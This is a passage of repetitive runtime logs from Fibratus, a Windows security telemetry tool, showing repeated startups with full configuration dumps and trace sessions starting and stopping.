method=>POST endpoints=>[] timeout=>5s enable-gzip=>false enabled=>false serializer=>json tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ servers=>[http://127.0.0.1:9200] flush-period=>1s trace-log=>false template-name=>fibratus timeout=>5s healthcheck-interval=>10s healthcheck=>true enabled=>false bulk-workers=>1 gzip-compression=>false index-name=>fibratus sniff=>false healthcheck-timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] amqp=>[ durable=>false routing-key=>fibratus enabled=>false url=>amqp://localhost:5672 passive=>false vhost=>/ delivery-mode=>transient tls-insecure-skip-verify=>false exchange-type=>topic exchange=>fibratus timeout=>5s]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false excluded-files=>[] excluded-procs=>[] skip-registry=>false enabled=>false skip-mmaps=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-10T18:08:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:08:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:08:54+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T18:08:54+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:08:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:34:43+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T18:34:43+01:00 level=info msg=bootstrapping with pid 10328. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T18:34:43+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] enabled=>false content-type=>text/html port=>25 use-template=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ max-buffers=>36 enable-dns=>false enable-mem=>false min-buffers=>16 enable-net=>true buffer-size=>512 enable-audit-api=>true flush-interval=>1s stack-enrichment=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false enable-thread=>true enable-vamap=>true enable-registry=>true enable-image=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 level=>info log-stdout=>true max-backups=>15 max-age=>0] + output ......................... [ elasticsearch=>[ sniff=>false timeout=>5s healthcheck-timeout=>5s healthcheck=>true template-name=>fibratus servers=>[http://127.0.0.1:9200] index-name=>fibratus bulk-workers=>1 enabled=>false gzip-compression=>false flush-period=>1s healthcheck-interval=>10s trace-log=>false] http=>[ timeout=>5s tls-insecure-skip-verify=>false method=>POST enable-gzip=>false serializer=>json enabled=>false endpoints=>[]] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ exchange=>fibratus tls-insecure-skip-verify=>false timeout=>5s url=>amqp://localhost:5672 durable=>false passive=>false enabled=>false delivery-mode=>transient exchange-type=>topic routing-key=>fibratus vhost=>/]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-files=>false skip-mmaps=>false fastscan=>true scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false excluded-procs=>[] excluded-files=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-10T18:34:43+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:34:46+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:34:58+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T18:34:58+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:34:59+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:35:08+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T18:35:08+01:00 level=info msg=bootstrapping with pid 14152. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T18:35:08+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] enabled=>false content-type=>text/html use-template=>true port=>25] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ flush-interval=>1s enable-audit-api=>true max-buffers=>36 min-buffers=>16 enable-dns=>false stack-enrichment=>true enable-registry=>true enable-net=>true enable-fileio=>true enable-vamap=>true buffer-size=>512 enable-mem=>false enable-image=>true enable-threadpool=>false enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 max-size=>100 max-backups=>15 log-stdout=>true formatter=>text] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck=>true enabled=>false index-name=>fibratus sniff=>false healthcheck-interval=>10s gzip-compression=>false trace-log=>false timeout=>5s template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s flush-period=>1s bulk-workers=>1] http=>[ enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false timeout=>5s method=>POST endpoints=>[] serializer=>json] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ routing-key=>fibratus url=>amqp://localhost:5672 passive=>false enabled=>false tls-insecure-skip-verify=>false delivery-mode=>transient exchange-type=>topic vhost=>/ exchange=>fibratus durable=>false timeout=>5s]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-mmaps=>false excluded-files=>[] fastscan=>true scan-timeout=>10s excluded-procs=>[] skip-allocs=>false enabled=>false skip-registry=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-12-10T18:35:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:35:10+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:35:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T18:35:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:35:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:37:21+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T18:37:21+01:00 level=info msg=bootstrapping with pid 2744. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T18:37:21+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] mail=>[ enabled=>false content-type=>text/html use-template=>true port=>25 to=>[]] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-threadpool=>false flush-interval=>1s enable-thread=>true enable-audit-api=>true enable-dns=>false enable-net=>true max-buffers=>36 enable-vamap=>true enable-image=>true enable-mem=>false enable-fileio=>true stack-enrichment=>true enable-registry=>true buffer-size=>512 enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 log-stdout=>true max-size=>100 max-backups=>15 formatter=>text] + output ......................... [ amqp=>[ exchange-type=>topic url=>amqp://localhost:5672 tls-insecure-skip-verify=>false exchange=>fibratus routing-key=>fibratus passive=>false durable=>false enabled=>false timeout=>5s vhost=>/ delivery-mode=>transient] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ flush-period=>1s gzip-compression=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus template-name=>fibratus bulk-workers=>1 enabled=>false sniff=>false healthcheck-timeout=>5s timeout=>5s trace-log=>false healthcheck=>true healthcheck-interval=>10s] http=>[ endpoints=>[] timeout=>5s enable-gzip=>false serializer=>json enabled=>false method=>POST tls-insecure-skip-verify=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-registry=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] excluded-procs=>[] skip-files=>false skip-allocs=>false skip-mmaps=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-12-10T18:37:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:37:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:39:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T18:39:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:39:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:39:47+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T18:39:47+01:00 level=info msg=bootstrapping with pid 4484. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T18:39:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true to=>[] port=>25 content-type=>text/html enabled=>false] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true enable-dns=>false enable-net=>true enable-handle=>false enable-mem=>false enable-registry=>true min-buffers=>16 enable-vamap=>true stack-enrichment=>true max-buffers=>36 enable-fileio=>true enable-image=>true enable-threadpool=>false flush-interval=>1s buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 max-size=>100 log-stdout=>true max-backups=>15 formatter=>text] + output ......................... [ http=>[ method=>POST serializer=>json timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false enabled=>false] amqp=>[ delivery-mode=>transient passive=>false routing-key=>fibratus vhost=>/ exchange-type=>topic url=>amqp://localhost:5672 exchange=>fibratus tls-insecure-skip-verify=>false timeout=>5s enabled=>false durable=>false] elasticsearch=>[ gzip-compression=>false timeout=>5s bulk-workers=>1 healthcheck-timeout=>5s index-name=>fibratus trace-log=>false sniff=>false flush-period=>1s enabled=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s healthcheck=>true] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true scan-timeout=>10s skip-mmaps=>false skip-files=>false skip-allocs=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false excluded-files=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-10T18:39:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:39:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:39:54+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T18:39:54+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:39:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:47:34+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T18:47:34+01:00 level=info msg=bootstrapping with pid 19132. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T18:47:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ content-type=>text/html to=>[] enabled=>false port=>25 use-template=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-handle=>false flush-interval=>1s stack-enrichment=>true enable-fileio=>true enable-threadpool=>false enable-mem=>false buffer-size=>512 enable-net=>true enable-audit-api=>true max-buffers=>36 enable-thread=>true min-buffers=>16 enable-dns=>false enable-registry=>true enable-vamap=>true enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-age=>0 max-backups=>15 formatter=>text level=>info] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] http=>[ tls-insecure-skip-verify=>false timeout=>5s serializer=>json method=>POST enabled=>false enable-gzip=>false endpoints=>[]] eventlog=>[ level=>info enabled=>false] amqp=>[ routing-key=>fibratus delivery-mode=>transient exchange=>fibratus url=>amqp://localhost:5672 exchange-type=>topic passive=>false durable=>false enabled=>false vhost=>/ tls-insecure-skip-verify=>false timeout=>5s] elasticsearch=>[ trace-log=>false enabled=>false sniff=>false servers=>[http://127.0.0.1:9200] healthcheck=>true timeout=>5s template-name=>fibratus index-name=>fibratus healthcheck-timeout=>5s bulk-workers=>1 flush-period=>1s healthcheck-interval=>10s gzip-compression=>false]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-mmaps=>false skip-files=>false fastscan=>true skip-allocs=>false enabled=>false excluded-procs=>[] skip-registry=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-12-10T18:47:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:47:37+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:48:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T18:48:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:48:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:48:49+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T18:48:49+01:00 level=info msg=bootstrapping with pid 14808. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T18:48:49+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] mail=>[ to=>[] content-type=>text/html enabled=>false use-template=>true port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-mem=>false stack-enrichment=>true enable-handle=>false enable-audit-api=>true enable-thread=>true flush-interval=>1s min-buffers=>16 enable-threadpool=>false buffer-size=>512 max-buffers=>36 enable-fileio=>true enable-dns=>false enable-vamap=>true enable-image=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 max-size=>100 max-age=>0 level=>info formatter=>text] + output ......................... [ http=>[ enabled=>false method=>POST endpoints=>[] timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json] amqp=>[ vhost=>/ enabled=>false passive=>false url=>amqp://localhost:5672 exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus exchange-type=>topic timeout=>5s delivery-mode=>transient durable=>false] elasticsearch=>[ index-name=>fibratus healthcheck=>true timeout=>5s sniff=>false enabled=>false template-name=>fibratus flush-period=>1s healthcheck-timeout=>5s healthcheck-interval=>10s bulk-workers=>1 gzip-compression=>false servers=>[http://127.0.0.1:9200] trace-log=>false] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false scan-timeout=>10s fastscan=>true enabled=>false excluded-files=>[] skip-mmaps=>false excluded-procs=>[] skip-registry=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-12-10T18:48:50+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:48:52+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:49:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T18:49:03+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:49:03+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:49:28+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T18:49:28+01:00 level=info msg=bootstrapping with pid 11512. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T18:49:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true content-type=>text/html port=>25 enabled=>false to=>[]] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-dns=>false enable-fileio=>true buffer-size=>512 enable-net=>true enable-image=>true min-buffers=>16 enable-registry=>true enable-vamap=>true stack-enrichment=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-audit-api=>true enable-thread=>true max-buffers=>36 flush-interval=>1s enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-backups=>15 max-age=>0 formatter=>text level=>info] + output ......................... [ http=>[ enabled=>false serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false method=>POST endpoints=>[] timeout=>5s] elasticsearch=>[ gzip-compression=>false enabled=>false index-name=>fibratus timeout=>5s flush-period=>1s healthcheck-interval=>10s sniff=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 healthcheck-timeout=>5s trace-log=>false template-name=>fibratus healthcheck=>true] amqp=>[ url=>amqp://localhost:5672 exchange-type=>topic timeout=>5s delivery-mode=>transient exchange=>fibratus routing-key=>fibratus tls-insecure-skip-verify=>false enabled=>false vhost=>/ durable=>false passive=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false skip-mmaps=>false excluded-procs=>[] excluded-files=>[] skip-files=>false skip-registry=>false scan-timeout=>10s fastscan=>true enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-10T18:49:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:49:31+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:49:48+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T18:49:48+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:49:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T20:33:10+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T20:33:10+01:00 level=info msg=bootstrapping with pid 3916. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T20:33:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true stack-enrichment=>true enable-net=>true flush-interval=>1s min-buffers=>16 enable-dns=>false buffer-size=>512 max-buffers=>36 enable-fileio=>true enable-vamap=>true enable-threadpool=>false enable-thread=>true enable-mem=>false enable-registry=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-backups=>15 max-age=>0 level=>info formatter=>text] + output ......................... [ http=>[ enable-gzip=>false 